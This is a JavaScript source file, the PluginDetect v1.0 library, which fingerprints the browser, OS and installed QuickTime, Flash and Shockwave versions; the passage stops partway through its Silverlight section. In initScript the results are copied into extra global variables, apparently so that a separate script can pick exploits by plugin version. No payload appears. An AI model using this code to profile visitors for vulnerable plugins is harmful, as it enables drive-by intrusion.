/*
PluginDetect v1.0
*/
var PluginDetect = {
    version: "1.0",
    name: "PluginDetect",
    handler: function(c, b, a) {
        return function() {
            c(b,a)
        }
    },
    messageEnabled: 0,
    message: function(j, g) {
        if (!this.messageEnabled || j === null) {
            return
        }
        var e = this,
            h = document,
            f, c = 200,
            a = "msg99887799",
            d = h.getElementById(a),
            b = false;
        var i = function(o, k, n) {
                var m = null,
                    l = h.createTextNode(o);
                if (k || n) {
                    m = h.createElement("span")
                }
                if (k) {
                    e.setStyle(m, ["fontWeight", "bold"])
                }
                if (n) {
                    e.setStyle(m, ["color", "#BB0000"])
                }
                if (m) {
                    d.appendChild(m);
                    m.appendChild(l)
                } else {
                    d.appendChild(l)
                }
            };
        if (!d) {
            d = h.createElement("div");
            d.id = a;
            e.setStyle(d, ["color", "black", "border", "solid blue 2px", "padding", "5px", "width", "98%", "fontSize", "18px", "margin", "5px", "backgroundColor", "#B3AAAA"]);
            e.insertDivInBody(d);
        }
        if (!d) {
            return
        }
        if (e.isString(j)) {
            f = (/\[.*\*.*error/i).test(j);
            i(j, 1, f)
        } else {
            if (j && j.message) {
                f = j.message;
                if (f.length > c) {
                    f = f.substring(0, c) + "..."
                }
                i(f)
            }
        }
        if (e.isString(g)) {
            i(g, 1)
        } else {
            if (g && g.message) {
                f = g.message;
                if (f.length > c) {
                    f = f.substring(0, c) + "..."
                }
                i(f)
            }
        }
        d.appendChild(h.createElement("br"))
    },
    printArgs: function(c) {
        var d = this,
            a, b = "";
        if (!d.isDefined(c)) {
            return b
        }
        if (!d.isArray(c)) {
            c = [c]
        }
        for (a = 0;
        a < c.length;
        a++) {
            if (!d.isDefined(c[a])) {
                break
            }
            if (d.isString(c[a])) {
                b += "'" + c[a] + "'"
            } else {
                if (c[a] === null) {
                    b += "null"
                } else {
                    if (d.isFunc(c[a])) {
                        b += "F"
                    } else {
                        if (d.isArray(c[a])) {
                            b += "[" + d.printArgs(c[a]) + "]"
                        } else {
                            if (d.isNum) {
                                b += c[a].toString()
                            } else {
                                b += "???"
                            }
                        }
                    }
                }
            }
            if (c.length > a + 1 && d.isDefined(c[a + 1])) {
                b += ", "
            }
        }
        return b
    },
    isDefined: function(b) {
        return typeof b != "undefined"
    },
    isArray: function(b) {
        return (/array/i).test(Object.prototype.toString.call(b))
    },
    isFunc: function(b) {
        return typeof b == "function"
    },
    isString: function(b) {
        return typeof b == "string"
    },
    isNum: function(b) {
        return typeof b == "number"
    },
    isStrNum: function(b) {
        return (typeof b == "string" && (/\d/).test(b))
    },
    getNumRegx: /[\d][\d\.\_,-]*/,
    splitNumRegx: /[\.\_,-]/g,
    getNum: function(b, c) {
        var d = this,
            a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
        return a ? a[0] : null
    },
    compareNums: function(h, f, d) {
        var e = this,
            c, b, a, g = parseInt;
        if (e.isStrNum(h) && e.isStrNum(f)) {
            if (e.isDefined(d) && d.compareNums) {
                return d.compareNums(h, f)
            }
            c = h.split(e.splitNumRegx);
            b = f.split(e.splitNumRegx);
            for (a = 0;
            a < Math.min(c.length, b.length);
            a++) {
                if (g(c[a], 10) > g(b[a], 10)) {
                    return 1
                }
                if (g(c[a], 10) < g(b[a], 10)) {
                    return -1
                }
            }
        }
        return 0
    },
    formatNum: function(b, c) {
        var d = this,
            a, e;
        if (!d.isStrNum(b)) {
            return null
        }
        if (!d.isNum(c)) {
            c = 4
        }
        c--;
        e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
        for (a = 0;
        a < 4;
        a++) {
            if (/^(0+)(.+)$/.test(e[a])) {
                e[a] = RegExp.$2
            }
            if (a > c || !(/\d/).test(e[a])) {
                e[a] = "0"
            }
        }
        return e.slice(0, 4).join(",")
    },
    $$hasMimeType: function(a) {
        return function(d) {
            if (!a.isIE && d) {
                var c, b, e, f = a.isString(d) ? [d] : d;
                if (!f || !f.length) {
                    return null
                }
                for (e = 0;
                e < f.length;
                e++) {
                    if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
                        return c
                    }
                }
            }
            return null
        }
    },
    findNavPlugin: function(l, e, c) {
        var j = this,
            h = new RegExp(l, "i"),
            d = (!j.isDefined(e) || e) ? /\d/ : 0,
            k = c ? new RegExp(c, "i") : 0,
            a = navigator.plugins,
            g = "",
            f, b, m;
        for (f = 0;
        f < a.length;
        f++) {
            m = a[f].description || g;
            b = a[f].name || g;
            if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
                if (!k || !(k.test(m) || k.test(b))) {
                    return a[f]
                }
            }
        }
        return null
    },
    getMimeEnabledPlugin: function(a, f) {
        var e = this,
            b, c = new RegExp(f, "i"),
            d = "";
        if ((b = e.hasMimeType(a)) && (b = b.enabledPlugin) && (c.test(b.description || d) || c.test(b.name || d))) {
            return b
        }
        return 0
    },
    getPluginFileVersion: function(f, b) {
        var h = this,
            e, d, g, a, c = -1;
        if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
            return b
        }
        if (!b) {
            return e
        }
        e = h.formatNum(e);
        b = h.formatNum(b);
        d = b.split(h.splitNumRegx);
        g = e.split(h.splitNumRegx);
        for (a = 0;
        a < d.length;
        a++) {
            if (c > -1 && a > c && d[a] != "0") {
                return b
            }
            if (g[a] != d[a]) {
                if (c == -1) {
                    c = a
                }
                if (d[a] != "0") {
                    return b
                }
            }
        }
        return e
    },
    AXO: window.ActiveXObject,
    getAXO: function(b) {
        var f = null,
            d, c = this,
            a;
        c.message((a = new Date().getTime()) ? null : null);
        try {
            f = new c.AXO(b);
            c.message("[ created ActiveXObject(" + c.printArgs(b) + ") in " + ((new Date().getTime() - a) / 1000) + " seconds ]")
        } catch (d) {
            c.message("[ Unable to create ActiveXObject(" + c.printArgs(b) + ") ? ] ", d)
        }
        return f
    },
    convertFuncs: function(g) {
        var a, h, f, b = /^[\$][\$]/,
            d = {},
            c = this;
        for (a in g) {
            if (b.test(a)) {
                d[a] = 1
            }
        }
        for (a in d) {
            try {
                h = a.slice(2);
                if (h.length > 0 && !g[h]) {
                    g[h] = g[a](g);
                    delete g[a]
                }
            } catch (f) {
                c.message(f)
            }
        }
    },
    initScript: function() {
        var c = this,
            a = navigator,
            e = "/",
            i = a.userAgent || "",
            g = a.vendor || "",
            b = a.platform || "",
            h = a.product || "";
        c.message((c.initTime = new Date().getTime()) ? null : null);
        c.OS = 100;
        if (b) {
            var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
            for (f = d.length - 2; f >= 0; f = f - 2) {
                if (d[f] && new RegExp(d[f], "i").test(b)) {
                    c.OS = d[f + 1];
                    break
                }
            }
        }
        c.convertFuncs(c);
        c.message("[ " + c.name + ".OS: " + c.OS + " (" + (d[f]) + ") ]");
        c.isIE = new Function("return " + e + "*@cc_on!@*" + e + "false")();
        c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
        c.ActiveXEnabled = false;
        verie =c.verIE;
        if (c.isIE) {
            var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
            for (f = 0;
            f < j.length;
            f++) {
                if (c.getAXO(j[f])) {
                    c.ActiveXEnabled = true;
                    break
                }
            }
            c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
        }
        c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
        c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
        is_geko = c.isGecko;
        ver_geko = c.verGecko;
        c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g);
        is_safari =  c.isSafari;
        c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
        c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
        is_chrome = c.isChrome;
        ver_chrome =  c.verChrome;
        c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
		is_opera = c.isOpera;
        c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
		ver_opera = c.verOpera;
        c.addWinEvent("load", c.handler(c.runWLfuncs, c));

    },
    init: function(c) {
        var b = this,
            a, c;
        if (!b.isString(c)) {
            b.message("[ ***** ERROR ***** Bad input argument. Plugin name should be a string. ]");
            return -3
        }
        if (c.length == 1) {
            b.getVersionDelimiter = c;
            return -3
        }
        c = c.toLowerCase().replace(/\s/g, "");
        a = b[c];
        if (!a || !a.getVersion) {
            b.message("[ ***** ERROR ***** Bad input argument. Unrecognized plugin name: " + b.printArgs(c) + " ]");
            return -3
        }
        b.plugin = a;
        if (!b.isDefined(a.installed)) {
            a.installed = a.version = a.version0 = a.getVersionDone = null;
            a.$ = b;
            a.pluginName = c
        }
        b.garbage = false;
        if (b.isIE && !b.ActiveXEnabled) {
            if (a !== b.java) {
                return -2
            }
        }
        return 1
    },
    fPush: function(b, a) {
        var c = this;
        if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
            a.push(b)
        }
    },
    callArray: function(b) {
        var c = this,
            a;
        if (c.isArray(b)) {
            for (a = 0;
            a < b.length;
            a++) {
                if (b[a] === null) {
                    return
                }
                c.call(b[a]);
                b[a] = null
            }
        }
    },
    call: function(c) {
        var b = this,
            a = b.isArray(c) ? c.length : -1;
        if (a > 0 && b.isFunc(c[0])) {
            c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
        } else {
            if (b.isFunc(c)) {
                c(b)
            }
        }
    },
    $$isMinVersion: function(a) {
        return function(h, g, d, c) {
            var e = a.init(h),
                f, b = -1,
                j;
            a.message((j = new Date().getTime()) ? null : null);
            if (e < 0) {
                return e
            }
            f = a.plugin;
            g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
            a.message("[ START " + a.name + ".isMinVersion(" + a.printArgs([h, g, d, c]) + ") ]");
            if (f.getVersionDone != 1) {
                f.getVersion(g, d, c);
                if (f.getVersionDone === null) {
                    f.getVersionDone = 1
                }
            }
            a.cleanup();
            if (f.installed !== null) {
                b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -1)))
            }
            a.message("[ END " + a.name + ".isMinVersion(" + a.printArgs([h, g, d, c]) + ") = " + b + " in " + ((new Date().getTime() - j) / 1000) + " seconds ]");
            return b
        }
    },
    getVersionDelimiter: ",",
    $$getVersion: function(a) {
        return function(g, d, c) {
            var e = a.init(g),
                f, b, h;
            a.message((h = new Date().getTime()) ? null : null);
            if (e < 0) {
                return null
            }
            f = a.plugin;
            if (f.getVersionDone != 1) {
                f.getVersion(null, d, c);
                if (f.getVersionDone === null) {
                    f.getVersionDone = 1
                }
            }
            a.cleanup();
            b = (f.version || f.version0);
            b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
            a.message( a.name + ".getVersion(" + a.printArgs([g, d, c]) + ") = " + b);
            return b
        }
    },
    $$getInfo: function(a) {
        return function(g, d, c) {
            var b = {},
                e = a.init(g),
                f;
            if (e < 0) {
                return b
            }
            a.message("[ run " + a.name + ".getInfo(" + a.printArgs([g, d, c]) + ") ]");
            f = a.plugin;
            if (f.getInfo) {
                if (f.getVersionDone === null) {
                    a.isMinVersion ? a.isMinVersion(g, "0", d, c) : a.getVersion(g, d, c)
                }
                b = f.getInfo()
            }
            return b
        }
    },
    cleanup: function() {
        var a = this;
        if (a.garbage && a.isDefined(window.CollectGarbage)) {
            window.CollectGarbage()
        }
    },
    isActiveXObject: function(f, b) {
        var g = this,
            a = false,
            h, c = "<",
            d = c + 'object width="1" height="1" style="display:none" ' + f.getCodeBaseVersion(b) + ">" + f.HTML + c + "/object>";
        if (!g.head) {
            return a
        }
        if (g.head.firstChild) {
            g.head.insertBefore(document.createElement("object"), g.head.firstChild)
        } else {
            g.head.appendChild(document.createElement("object"))
        }
        g.head.firstChild.outerHTML = d;
        try {
            g.head.firstChild.classid = f.classID
        } catch (h) {
            g.message(h)
        }
        try {
            if (g.head.firstChild.object) {
                a = true
            }
        } catch (h) {
            g.message(h)
        }
        try {
            if (a && g.head.firstChild.readyState < 4) {
                g.garbage = true
            }
        } catch (h) {
            g.message(h)
        }
        g.head.removeChild(g.head.firstChild);
        return a
    },
    codebaseSearch: function(f, b) {
        var c = this;
        if (!c.ActiveXEnabled || !f) {
            return null
        }
        if (f.BIfuncs && f.BIfuncs.length && f.BIfuncs[f.BIfuncs.length - 1] !== null) {
            c.message("[ START event handlers for " + c.name + ".beforeInstantiate(" + c.printArgs(f.pluginName) + ") ]");
            c.callArray(f.BIfuncs);
            c.message("[ END event handlers for " + c.name + ".beforeInstantiate(" + c.printArgs(f.pluginName) + ") ]")
        }
        var d, o = f.SEARCH,
            n;
        if (c.isStrNum(b)) {
            if (o.match && o.min && c.compareNums(b, o.min) <= 0) {
                return true
            }
            if (o.match && o.max && c.compareNums(b, o.max) >= 0) {
                return false
            }
            d = c.isActiveXObject(f, b);
            if (d && (!o.min || c.compareNums(b, o.min) > 0)) {
                o.min = b
            }
            if (!d && (!o.max || c.compareNums(b, o.max) < 0)) {
                o.max = b
            }
            return d
        }
        c.message("[ ]");
        c.message("[ START codebase version search for " + f.pluginName + " (Internet Explorer) ]");
        c.message((n = new Date().getTime()) ? null : null);
        var e = [0, 0, 0, 0],
            k = [].concat(o.digits),
            a = o.min ? 1 : 0,
            j, i, h, g, l, m = function(q, s) {
                var r = [].concat(e);
                r[q] = s;
                c.message("test:[" + r + "] lower:[" + e + "] upper:[" + k + "]");
                return c.isActiveXObject(f, r.join(","))
            };
        c.message("[ VersionMin:" + (o.min ? o.min : "null") + " VersionMax:" + (o.max ? o.max : "null") + " ]");
        if (o.max) {
            g = o.max.split(c.splitNumRegx);
            for (j = 0;
            j < g.length;
            j++) {
                g[j] = parseInt(g[j], 10)
            }
            if (g[0] < k[0]) {
                k[0] = g[0]
            }
        }
        if (o.min) {
            l = o.min.split(c.splitNumRegx);
            for (j = 0;
            j < l.length;
            j++) {
                l[j] = parseInt(l[j], 10)
            }
            if (l[0] > e[0]) {
                e[0] = l[0]
            }
        }
        if (l && g) {
            for (j = 1;
            j < l.length;
            j++) {
                if (l[j - 1] != g[j - 1]) {
                    break
                }
                if (g[j] < k[j]) {
                    k[j] = g[j]
                }
                if (l[j] > e[j]) {
                    e[j] = l[j]
                }
            }
        }
        if (o.max) {
            for (j = 1;
            j < k.length;
            j++) {
                if (g[j] > 0 && k[j] == 0 && k[j - 1] < o.digits[j - 1]) {
                    k[j - 1] += 1;
                    break
                }
            }
        }
        c.message("[ We search between lower and upper bounds ]");
        for (j = 0;
        j < k.length;
        j++) {
            h = {};
            for (i = 0;
            i < 20;
            i++) {
                if (k[j] - e[j] < 1) {
                    break
                }
                d = Math.round((k[j] + e[j]) / 2);
                if (h["a" + d]) {
                    break
                }
                h["a" + d] = 1;
                if (m(j, d)) {
                    e[j] = d;
                    a = 1
                } else {
                    k[j] = d
                }
            }
            k[j] = e[j];
            if (!a && m(j, e[j])) {
                a = 1
            }
            c.message("Digit " + j + " found - lower:[" + e + "] upper:[" + k + "]");
            if (!a) {
                break
            }
        }
        c.message("[ END codebase version search for " + f.pluginName + " (Internet Explorer) in " + ((new Date().getTime() - n) / 1000) + " seconds ]");
        c.message("[ ]");
        return a ? e.join(",") : null
    },
    addWinEvent: function(d, c) {
        var e = this,
            a = window,
            b;
        if (e.isFunc(c)) {
            if (a.addEventListener) {
                a.addEventListener(d, c, false)
            } else {
                if (a.attachEvent) {
                    a.attachEvent("on" + d, c)
                } else {
                    b = a["on" + d];
                    a["on" + d] = e.winHandler(c, b)
                }
            }
        }
    },
    winHandler: function(d, c) {
        return function() {
            d();
            if (typeof c == "function") {
                c()
            }
        }
    },
    WLfuncs0: [],
    WLfuncs: [],

    winLoaded: false,
    $$onWindowLoaded: function(a) {
        return function(b) {
            a.message("[ run " + a.name + ".onWindowLoaded(" + a.printArgs([b]) + ") ]");
            if (a.winLoaded) {
                a.message("[ START event handler " + a.printArgs([b]) + " for " + a.name + ".onWindowLoaded(" + a.printArgs([b]) + ") ]");
                a.call(b);
                a.message("[ END event handler " + a.printArgs([b]) + " for " + a.name + ".onWindowLoaded(" + a.printArgs([b]) + ") ]")
            } else {
                a.fPush(b, a.WLfuncs)
            }
        }
    },
    $$beforeInstantiate: function(a) {
        return function(e, d) {
            var b = a.init(e),
                c = a.plugin;
            if (b == -3) {
                return
            }
            a.message("[ run " + a.name + ".beforeInstantiate(" + a.printArgs([e, d]) + ") ]");
            if (!a.isArray(c.BIfuncs)) {
                c.BIfuncs = []
            }
            a.fPush(d, c.BIfuncs)
        }
    },
    $$onDetectionDone: function(a) {
        return function(h, g, c, b) {
            var d = a.init(h),
                j, e;
            if (d == -3) {
                return -1
            }
            e = a.plugin;
            a.message("[ run " + a.name + ".onDetectionDone(" + a.printArgs([h, g, c, b]) + ") ]");
            if (!a.isArray(e.funcs)) {
                e.funcs = []
            }
            if (e.getVersionDone != 1) {
                j = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
            }
            if (e.installed != -0.5 && e.installed != 0.5) {
                a.message("[ " + a.name + ".onDetectionDone(" + a.printArgs([h, g, c, b]) + ") has completed detection ]");
                a.message("[ START event handler " + a.printArgs([g]) + " for " + a.name + ".onDetectionDone(" + a.printArgs([h, g, c, b]) + ") ]");
                a.call(g);
                a.message("[ END event handler " + a.printArgs([g]) + " for " + a.name + ".onDetectionDone(" + a.printArgs([h, g, c, b]) + ") ]");
                return 1
            }
            if (e.NOTF) {
                a.fPush(g, e.funcs);
                return 0
            }
            return 1
        }
    },
    div: null,
    divWidth: 50,
    pluginSize: 1,
    emptyDiv: function() {
        var c = this,
            a, e, b, d = 0;
        if (c.div && c.div.childNodes) {
            c.message("[ Removing all HTML tags that were inserted ]", 1);
            for (a = c.div.childNodes.length - 1;
            a >= 0;
            a--) {
                b = c.div.childNodes[a];
                if (b && b.childNodes) {
                    if (d == 0) {
                        for (e = b.childNodes.length - 1;
                        e >= 0;
                        e--) {
                            b.removeChild(b.childNodes[e])
                        }
                        c.div.removeChild(b)
                    } else {}
                }
            }
        }
        c.message("[ ]");
        c.message("[ DONE in " + ((new Date().getTime() - c.initTime) / 1000) + " seconds after script initialization ]", 1)
    },
    DONEfuncs: [],
    onDoneEmptyDiv: function() {
        var c = this,
            a, b;
        if (!c.winLoaded) {
            return
        }
        if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
            return
        }
        for (a in c) {
            b = c[a];
            if (b && b.funcs) {
                if (b.OTF == 3) {
                    return
                }
                if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
                    return
                }
            }
        }
        for (a = 0;
        a < c.DONEfuncs.length;
        a++) {
            c.callArray(c.DONEfuncs)
        }
        c.emptyDiv()
    },
    getWidth: function(c) {
        if (c) {
            var a = c.scrollWidth || c.offsetWidth,
                b = this;
            if (b.isNum(a)) {
                return a
            }
        }
        return -1
    },
    getTagStatus: function(m, g, a, b) {
        var c = this,
            f, k = m.span,
            l = c.getWidth(k),
            h = a.span,
            j = c.getWidth(h),
            d = g.span,
            i = c.getWidth(d);
        if (!k || !h || !d || !c.getDOMobj(m)) {
            return -2
        }
        if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
            return 0
        }
        if (l >= i) {
            return -1
        }
        try {
            if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
                if (!m.winLoaded && c.winLoaded) {
                    return 1
                }
                if (m.winLoaded && c.isNum(b)) {
                    if (!c.isNum(m.count)) {
                        m.count = b
                    }
                    if (b - m.count >= 10) {
                        return 1
                    }
                }
            }
        } catch (f) {
            c.message(f)
        }
        return 0
    },
    getDOMobj: function(g, a) {
        var f, d = this,
            c = g ? g.span : 0,
            b = c && c.firstChild ? 1 : 0;
        try {
            if (b && a) {
                c.firstChild.focus()
            }
        } catch (f) {
            d.message("[ Unable to use focus() method on span.firstChild? ] ", f)
        }
        return b ? c.firstChild : null
    },
    setStyle: function(b, g) {
        var f = b.style,
            a, d, c = this;
        if (f && g) {
            for (a = 0; a < g.length; a = a + 2) {
                try {
                    f[g[a]] = g[a + 1]
                } catch (d) {
                    c.message("[ HTML tag: Unable to set style " + g[a] + ", " + g[a + 1] + " ? ] ", d)
                }
            }
        }
    },
    insertDivInBody: function(i) {
        var g, d = this,
            h = "pd33993399",
            c = null,
            f = document,
            b = "<",
            a = (f.getElementsByTagName("body")[0] || f.body);
        if (!a) {
            try {
                f.write(b + 'div id="' + h + '">o' + b + "/div>");
                c = f.getElementById(h)
            } catch (g) {
                d.message("[ Unable to use document.write? ] ", g)
            }
        }
        a = (f.getElementsByTagName("body")[0] || f.body);
        if (a) {
            if (a.firstChild && d.isDefined(a.insertBefore)) {
                a.insertBefore(i, a.firstChild)
            } else {
                a.appendChild(i)
            }
            if (c) {
                a.removeChild(c)
            }
        } else {}
    },
    insertHTML: function(g, b, h, a, k) {
        var l, m = document,
            j = this,
            q, o = m.createElement("span"),
            n, i, f = "<";
        var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
        if (!j.isDefined(a)) {
            a = ""
        }
        if (j.isString(g) && (/[^\s]/).test(g)) {
            q = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
            for (n = 0; n < b.length; n = n + 2) {
                if (/[^\s]/.test(b[n + 1])) {
                    q += b[n] + '="' + b[n + 1] + '" '
                }
            }
            q += ">";
            for (n = 0; n < h.length; n = n + 2) {
                if (/[^\s]/.test(h[n + 1])) {
                    q += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />'
                }
            }
            q += a + f + "/" + g + ">"
        } else {
            q = a
        }
        if (!j.div) {
            j.div = m.createElement("div");
            i = m.getElementById("plugindetect");
            if (i) {
                j.div = i
            } else {
                j.div.id = "plugindetect";
                j.insertDivInBody(j.div)
            }
            j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
            if (!i) {
                j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
            }
        }
        if (j.div && j.div.parentNode) {
            if (k && k.BIfuncs && k.BIfuncs.length && k.BIfuncs[k.BIfuncs.length - 1] !== null) {
                j.message("[ START event handlers for " + j.name + ".beforeInstantiate(" + j.printArgs(k.pluginName) + ") ]");
                j.callArray(k.BIfuncs);
                j.message("[ END event handlers for " + j.name + ".beforeInstantiate(" + j.printArgs(k.pluginName) + ") ]")
            };
            j.message("[ inserting HTML tag: " + f + "span>" + q + f + "/span> ]");
            j.div.appendChild(o);
            j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
            try {
                if (o && o.parentNode) {
                    o.focus()
                }
            } catch (l) {
                j.message("[ Unable to use focus() method on HTML tag? ] ", l)
            }
            try {
                o.innerHTML = q
            } catch (l) {
                j.message("[ Unable to set span.innerHTML? ] ", l)
            }
            if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") < 0)) {
                j.setStyle(o.firstChild, c.concat(["display", "inline"]))
            }
            return {
                span: o,
                winLoaded: j.winLoaded,
                tagName: (j.isString(g) ? g : "")
            }
        }
        return {
            span: null,
            winLoaded: j.winLoaded,
            tagName: ""
        }
    },
    quicktime: {
        mimeType: ["video/quicktime", "application/x-quicktimeplayer", "image/x-macpaint", "image/x-quicktime"],
        progID: "QuickTimeCheckObject.QuickTimeCheck.1",
        progID0: "QuickTime.QuickTime",
        classID: "clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",
        minIEver: 7,
        HTML: ("<") + 'param name="src" value="" />' + ("<") + 'param name="controller" value="false" />',
        getCodeBaseVersion: function(a) {
            return 'codebase="#version=' + a + '"'
        },
        SEARCH: {
            min: 0,
            max: 0,
            match: 0,
            digits: [16, 128, 128, 0]
        },
        getVersion: function(c) {
            var f = this,
                d = f.$,
                a = null,
                e = null,
                b;
            if (!d.isIE) {
                if (d.hasMimeType(f.mimeType)) {
                    e = d.OS != 3 ? d.findNavPlugin("QuickTime.*Plug-?in", 0) : null;
                    if (e && e.name) {
                        a = d.getNum(e.name)
                    }
                }
            } else {
                if (d.isStrNum(c)) {
                    b = c.split(d.splitNumRegx);
                    if (b.length > 3 && parseInt(b[3], 10) > 0) {
                        b[3] = "9999"
                    }
                    c = b.join(",")
                }
                if (d.isStrNum(c) && d.verIE >= f.minIEver && f.canUseIsMin() > 0) {
                    f.installed = f.isMin(c);
                    f.getVersionDone = 0;
                    return
                }
                f.getVersionDone = 1;
                if (!a && d.verIE >= f.minIEver) {
                    a = f.CDBASE2VER(d.codebaseSearch(f))
                }
                if (!a) {
                    e = d.getAXO(f.progID);
                    if (e && e.QuickTimeVersion) {
                        a = e.QuickTimeVersion.toString(16);
                        a = parseInt(a.charAt(0), 16) + "." + parseInt(a.charAt(1), 16) + "." + parseInt(a.charAt(2), 16)
                    }
                }
            }
            f.installed = a ? 1 : (e ? 0 : -1);
            f.version = d.formatNum(a, 3)
        },
        cdbaseUpper: ["7,60,0,0", "0,0,0,0"],
        cdbaseLower: ["7,50,0,0", null],
        cdbase2ver: [function(c, b) {
            var a = b.split(c.$.splitNumRegx);
            return [a[0], a[1].charAt(0), a[1].charAt(1), a[2]].join(",")
        },
        null],
        CDBASE2VER: function(f) {
            var e = this,
                c = e.$,
                b, a = e.cdbaseUpper,
                d = e.cdbaseLower;
            if (f) {
                f = c.formatNum(f);
                for (b = 0;
                b < a.length;
                b++) {
                    if (a[b] && c.compareNums(f, a[b]) < 0 && d[b] && c.compareNums(f, d[b]) >= 0 && e.cdbase2ver[b]) {
                        return e.cdbase2ver[b](e, f)
                    }
                }
            }
            return f
        },
        canUseIsMin: function() {
            var f = this,
                d = f.$,
                b, c = f.canUseIsMin,
                a = f.cdbaseUpper,
                e = f.cdbaseLower;
            if (!c.value) {
                c.value = -1;
                for (b = 0;
                b < a.length;
                b++) {
                    if (a[b] && d.codebaseSearch(f, a[b])) {
                        c.value = 1;
                        break
                    }
                    if (e[b] && d.codebaseSearch(f, e[b])) {
                        c.value = -1;
                        break
                    }
                }
            }
            f.SEARCH.match = c.value == 1 ? 1 : 0;
            return c.value
        },
        isMin: function(c) {
            var b = this,
                a = b.$;
            return a.codebaseSearch(b, c) ? 0.7 : -1
        }
    },

    flash: {
        mimeType: ["application/x-shockwave-flash", "application/futuresplash"],
        progID: "ShockwaveFlash.ShockwaveFlash",
        classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
        getVersion: function() {
            var
            b = function(i) {
                    if (!i) {
                        return null
                    }
                    var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
                    return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
                };
            var d, h = this,
                f = h.$,
                j, g, k = null,
                c = null,
                a = null;
            if (!f.isIE) {
                d = f.findNavPlugin("Flash");
                if (d && d.description && f.hasMimeType(h.mimeType)) {
                    k = b(d.description)
                }
                if (k) {
                    k = f.getPluginFileVersion(d, k)
                }
            } else {
                for (g = 15;
                g > 2;
                g--) {
                    c = f.getAXO(h.progID + "." + g);
                    if (c) {
                        a = g.toString();
                        break
                    }
                }
                if (a == "6") {
                    try {
                        c.AllowScriptAccess = "always"
                    } catch (j) {
                        return "6,0,21,0"
                    }
                }
                try {
                    k = b(c.GetVariable("$version"))
                } catch (j) {}
                if (!k && a) {
                    k = a
                }
            }
            h.installed = k ? 1 : -1;
            h.version = f.formatNum(k);
            return true
        }
    },
    shockwave: {
        mimeType: "application/x-director",
        progID: "SWCtl.SWCtl",
        classID: "clsid:166B1BCA-3F9C-11CF-8075-444553540000",
        getVersion: function() {
            var a = null,
                b = null,
                g, f, d = this,
                c = d.$;
            if (!c.isIE) {
                f = c.findNavPlugin("Shockwave\\s*for\\s*Director");
                if (f && f.description && c.hasMimeType(d.mimeType)) {
                    a = c.getNum(f.description)
                }
                if (a) {
                    a = c.getPluginFileVersion(f, a)
                }
            } else {
                try {
                    b = c.getAXO(d.progID).ShockwaveVersion("")
                } catch (g) {}
                if (c.isString(b) && b.length > 0) {
                    a = c.getNum(b)
                } else {
                    if (c.getAXO(d.progID + ".8")) {
                        a = "8"
                    } else {
                        if (c.getAXO(d.progID + ".7")) {
                            a = "7"
                        } else {
                            if (c.getAXO(d.progID + ".1")) {
                                a = "6"
                            }
                        }
                    }
                }
            }
            d.installed = a ? 1 : -1;
            d.version = c.formatNum(a)
        }
    },

    silverlight: {
        mimeType: "application/x-silverlight",
        progID: "AgControl.AgControl",
        digits: [20, 20, 9, 12, 31],
